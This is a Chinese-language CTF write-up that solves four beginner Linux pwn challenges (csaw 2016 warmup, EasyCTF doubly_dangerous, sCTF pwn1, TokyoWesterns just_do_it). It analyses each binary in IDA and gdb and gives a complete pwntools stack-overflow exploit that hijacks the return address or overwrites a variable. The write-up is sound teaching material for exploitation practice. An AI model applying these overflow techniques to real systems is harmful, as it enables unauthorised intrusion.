本系列为i春秋论坛上Tangerine@SAINTSEC大神所写的linux pwn入门系列相关习题的分析与解答。
原教程系列地址:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157
1、csaw ctf 2016 quals-warmup
拿到题目,checksec分析保护情况
发现任何保护都未开启(当然系统自带的ASLR除外)。
用file ./warmup命令查看文件格式
发现为64位动态链接的ELF程序,但是题目并没有提供libc。
丢进64位ida中分析
在main函数中发现函数sub_40060D很可疑,进入函数观察
发现该函数是一个直接查看flag的程序,可以作为后门使用。
返回到main函数我们发现4个write函数用于打印字符,sprintf函数用于将flag的值保存到s中,此函数存在栈溢出风险,但是此处并不溢出。在return函数出发现gets函数,此函数可以读取任意字节的数据,存在溢出风险,并可以溢出到返回值。
现在我们需要计算输入点到返回值之间的距离,有两个方法。第一,通过ida分析可以看到存在栈溢出的v5位于[rbp-40h]处,rbp又位于返回值上方,那么ret则位于40+8=0x48,即输入0x48个字节后+0x40060D即可跳转到后门函数读取flag的值。第二种方法通过gdb的peda插件,调试到输入点之前通过pattern create xxx生成xxx个字符(该字符特点为任意4个字符一组不重复)
随后,当到达输入点时即将上述字符输入,借着ni步过,直到ret
此处我们将栈顶的前4个字符复制(IAAe),然后通过pattern offset IAAe计算偏移为72,与上述相符。
因此,完整的exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./warmup') 7 8 get_flag_addr = 0x40060d 9 10 payload = '' 11 payload += 'A'*72 12 payload += p64(get_flag_addr) 13 14 print io.recv() 15 io.sendline(payload) 16 print io.recv()
2、EasyCTF 2017-doubly_dangerous
拿到题目分析checksec安全措施,file查看文件类型
发现该函数开启了NX保护(堆栈不可执行),文件格式为32位动态链接的ELF程序。
运行一下看看
发现需要提供一串字符串,然后返回nope!那么我们尝试多输入一些字符
发现发生了栈溢出!
因此,将其扔到32位ida中分析。
观察到有gets函数,必然存在溢出,可是在通过gets溢出时调试出错,无法返回到后门函数中,因此换个思路。观察到通过gets输入一串字符串必须使得v5==11.28125来得到flag,此处我使用ida的远程调试功能(关于ida远程调试请看原帖第0节环境搭建)
此处位于输入函数的下方,功能为进行比较,也就对应于上方的if语句。
通过比较可以发现实际比较的是ebp-0xC和0x804876C处的值是否相等。
我们通过内存窗口按g跳转到该地址出观察得知值为0x41348000(注意存储方式)。
最后,我们需要测试偏移,由于不是测试到返回值的偏移,因此不能使用上述方法。此时我们使用gdb调试输入来探测偏移。
通过调试发现,我们的输入位于栈顶保存的地址内,为0xffffd4cc,而此时$ebp-0xc处于0xffffd50c,我们可以计算偏移得0xffffd50c - 0xffffd4cc = 0x40,因此我们只需要输入64个字符后接之前探测出的值0x41348000后即可得到flag。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./doubly_dangerous') 7 8 payload = '' 9 payload += 'A'*64 10 payload += p32(0x41348000) 11 12 print io.recv() 13 io.sendline(payload) 14 print io.recv() 15 print io.recv()
3、sCTF 2016 q1-pwn1
拿到题目分析checksec安全措施,file查看文件类型
发现题目开启NX保护,并且为32位动态链接的ELF程序。
尝试运行
发现题目要求输入一串字符串,然后反馈给你你输入的字符串。
进入32位ida分析
Main函数很简单,进入函数vuln()
观察变量和语句,发现可能存在溢出的地方为fgets,但是s在栈中距离ebp有3C的距离,而fgets只能输入32个字符,远远无法到达ebp或者ret。继续往下看,发现replace函数,字面意思替换,又看到you和I字符,猜想是否有可能将I替换成you字符,我们执行程序试一下
我们发现猜想正确。我们注意到函数最后有strcpy函数,他将v0即我们的输入后替换的字符串保存到s中,由于我们输入一个I实际上拷贝入s的是3个字符,3*32=96>0x3c,发生栈溢出。我们通过输入21个I另外加一个任意字符(因为21个I为21个you,即为63个字符,需要额外一个字符填充到64字符)之后加上get_flag函数的地址即覆盖函数返回值劫持成功。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./pwn1') 7 8 get_flag_addr = 0x08048f0d 9 10 payload = '' 11 payload += 'I'*21+'a' 12 payload += p32(get_flag_addr) 13 io.sendline(payload) 14 print io.recv()
4、Tokyo West CTF 3rd 2017-just_do_it
拿到题目分析checksec安全措施,file查看文件类型
发现开启了NX保护,文件类型为32位动态链接的ELF文件。
尝试运行程序,发现会让你输入密码,随意输入一组字符串返回密码不正确,然后程序结束。
进入32位ida分析
我们观察到程序流程大概是将flag读取并保存到一个全局变量中,在程序最后比较输入,正确则打印正确否则打印错误。我们观察s位于[ebp-0x20]处,输入的fgets最多输入32个字符,无法覆盖到ret。但是我们发现puts所打印的参数v6位于[ebp-Ch]相距输入点s只有20字符就可以覆盖到。又由于程序将flag读取到了全局变量中,因此可以通过输入覆盖v6为flag从而打印出flag。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./just_do_it') 7 8 flag_addr = 0x0804A080 9 10 payload = '' 11 payload += 'A'*20 12 payload += p64(flag_addr) 13 print io.recv() 14 io.sendline(payload) 15 print io.recv()